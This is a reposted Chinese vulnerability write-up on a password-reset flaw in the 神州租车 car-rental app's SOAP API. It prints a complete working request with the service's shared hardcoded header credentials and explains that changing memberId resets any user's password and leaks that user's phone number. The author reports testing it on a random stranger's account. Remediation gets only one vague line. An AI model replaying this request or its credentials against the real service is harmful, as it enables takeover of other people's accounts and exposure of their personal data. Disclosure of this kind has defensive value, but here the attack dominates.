好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

神州租车任意用户密码修改 - 网站安全 - 自学p

问题出在神州租车的app端,校验机制设计的太脆弱~

 

 

 

下面是修改用户个人资料的请求数据包,数据包中的验证部分account、password居然是公共的所有用户的验证都是同样的值,又没有其他的验证机制,那么这里肯定可以修改任意用户的值~

POST http://sdk.zuche.com/CARSDK/services/zuche1 HTTP/1.1 Host: sdk.zuche.com Connection: close Accept-Encoding: gzip Content-Type: text/xml; charset=utf-8 Content-Length: 526 Connection: close SOAPAction: http://sdk.zuche.com/CARSDK/services/zuche1?UpdateUser User-Agent: 神州租车 2.6 (iPhone; iPhone OS 7.0.4; zh_CN) <?xml version='1.0' encoding='utf-8'?> <soap:Envelope xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' xmlns:xsd='http://www.w3.org/2001/XMLSchema' xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'> <soap:Header> <CheckSoap xmlns='http://tempuri.org/'> <Account>szzciphone</Account> <Password>szz c# iphone</Password> </CheckSoap> </soap:Header> <soap:Body> <UpdateUser xmlns='http://tempuri.org/'> <User>{"memberId":"3xxxx3","password":"123qwe","emailaddress":"xxxxx@sina.cn"}</User> </UpdateUser> </soap:Body> </soap:Envelope>

 

 

 

 

 

所以,我们通过修改memberId就能修改任意用户的信息,通过测试这里的emailaddress参数如果为空,将不会更改用户原来设置的值,修改不同id用户的密码后, 系统 会返回该用户的帐号信息(手机号码),那么有了手机号码,我们就能登陆任意用户的帐号,下面是我自己的帐号测试结果;

 

下面我们随意测试一个用户的帐号吧;

 

这个就是证明咯;

 

修复方案:

各种校验,没说的~

查看更多关于神州租车任意用户密码修改 - 网站安全 - 自学p的详细内容...

  阅读:126次